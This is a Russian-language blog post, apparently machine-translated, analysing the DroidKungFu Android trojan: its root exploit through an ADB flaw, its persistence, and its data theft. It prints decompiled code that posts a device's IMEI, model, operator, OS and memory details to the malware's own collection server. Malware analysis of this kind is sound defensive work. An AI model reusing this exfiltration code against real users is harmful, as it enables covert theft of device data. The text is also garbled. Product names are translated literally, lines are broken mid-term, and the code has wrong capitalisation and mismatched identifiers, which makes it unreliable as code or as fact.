Обновление новостей: Весной этого года с AndroidMarket было удалено 21 приложение, скрывающее вредоносное ПО.
ДроидМечтаСвет .
После установки экспонированные приложения отправляли довольно приличный объем пользовательской информации, хранящейся на телефонах Google. И вот, в июне этого года сотрудники Университета штата Северная Каролина сообщили, что обнаружена новая версия вредоносного ПО.
ДроидКунг-Фу .
Эта программа аналогична ДроидМечтаСвет , но использует другие методы сокрытия своего присутствия, позволяющие обходить системы безопасности.
Программа использует уязвимость в Мост отладки Android , сокращенно А.
Д.
Б.
.
Эта уязвимость позволяет получить root-доступ к устройству, которое само по себе уже не игрушка.
Однако стоит отметить, что вредоносные приложения не распространялись на официальном Android Market и были нацелены только на рынок Китая, хотя от этого легче не становится.
Также немаловажно, что устройства на базе Android 2.2 и ниже подвержены заражению, поскольку в версии 2.3 исправлена уязвимость, позволяющая ДроидКунг-Фу показать себя «во всей красе».
При установке зараженных приложений DroidKungFu активируется и производит автозагрузку своего процесса, кроме того, на Android 2.2 и ниже получает root-права.
На Android 2.3 у него это сделать не получается, но некоторую информацию об устройстве собрать все равно можно.
Разбор полетов:
Один хороший человек в своем блог проанализировал интересный код ДроидКунг-Фу и теперь я попробую разобраться, что к чему с тобой.Для анализа была взята проба из этого хранилища вредоносных программ с хешем md5 39D140511C18EBF7384A36113D48463D .
Чтобы получить архив jar, использовалась хорошая вещь, например dex2jar , после извлечения дексов (формат исполняемого файла Dalvik) из .
APK. После декомпиляции jar-архива мы легко можем получить чистый код. Давайте посмотрим на некоторые интересные моменты в коде.
Часть I или «Я где-то это уже видел…»
При просмотре кода класса Служба поиска мы открываем метод DoSearchReport .
Да-да, именно тот метод, который используется в виджете поиска от всеми любимого Google. И это можно увидеть в коде ниже: Private void doSearchReport()
{
updateInfo();
ArrayList localArrayList = new ArrayList();
String str1 = this.nImei;
BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair("imei", str1);
Boolean bool1 = localArrayList.add(LocalBasicNameValuePair1);
If (this.n0sType != null)
{
String str2 = this.n0sType;
If (!””.
equals(str2))
…
}
…
}
Что это дает? Судя по всему, это позволяет нашей программе оставаться «юридически чистой» или, грубо говоря, «жить в нашем Google Phone» даже после удаления установленных вредоносных пакетов, маскирующихся под виджет поиска.
Часть II или «пора в плавание!»
В следующем фрагменте кода метода DoSearchReport Происходит самое страшное: все собранные данные с зараженного устройства уплывают из нашего Google Phone, сами можете видеть, куда: While (true)
{
HttpPost localHttpPost = new HttpPost(“ http://search.gongfu-android.com:8511/search/sayhi.php ”);
try
UrlEncodedFormEntity localUrlEncodedFormEntity = new UrlEncodedFormEntity(localArrayList, “UTF-8”);
localHttpPost.setEntity(localUrlEncodedFormEntity);
int I = new DefaultHttpClient().
execute(localHttpPost).
getStatusLine.getStatusCode();
return;
BasicNameValuePair localBasicNameValuePair12 = new BasicNameValuePair(“root”, “0”);
Boolean bool12 = localArrayList.add(localBasicNameValuePair12);
}
Catch (Exception localException)
{
}
В блоге также более подробно описан URL-адрес, на который были отправлены данные о телефонах Google.
Часть III или «Что уплылоЭ»
А из следующих выдержек кода вы можете увидеть, что уплывает: BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair(" imei ", str1);
…
BasicNameValuePair localBasicNameValuePair2 = new BasicNameValuePair(" ostype ", str3);
…
BasicNameValuePair localBasicNameValuePair3 = new BasicNameValuePair(" osaapi ", str5);
…
BasicNameValuePair localBasicNameValuePair4 = new BasicNameValuePair(" mobile ", str7);
…
BasicNameValuePair localBasicNameValuePair5 = new BasicNameValuePair(" mobilemodel ", str9);
…
BasicNameValuePair localBasicNameValuePair6 = new BasicNameValuePair(" netoperator ", str11);
…
BasicNameValuePair localBasicNameValuePair7 = new BasicNameValuePair(" nettype ", str13);
…
BasicNameValuePair localBasicNameValuePair8 = new BasicNameValuePair(" managerid ", str15);
…
BasicNameValuePair localBasicNameValuePair9 = new BasicNameValuePair(" sdmemory ", str17);
…
BasicNameValuePair localBasicNameValuePair10 = new BasicNameValuePair(" aliamemory ", str19);
Как видите, уплывает довольно большой объем информации об устройстве.
Часть IV или «недосказанное»
Возможно, еще одной новинкой этого троянца является использование для своих эксплойтов шифрования AES. Предыдущие братья ДроидКунг-Фу , такой как ХонгТуТу или Гейними использовали шифрование DES в своем коде.п.
с.
На данный момент в Интернете можно найти несколько версий DroidKungFu. По крайней мере я нашел три варианта реализации.
Теги: #Android #троян #DroidKungFu #вредоносное ПО #информационная безопасность
-
Как Выбрать Кабель Hdmi? - Анализ
19 Oct, 24 -
Опера Берет Перерыв 1 Января?
19 Oct, 24 -
В «Живой Журнал» Добавлена «Живая Газета»
19 Oct, 24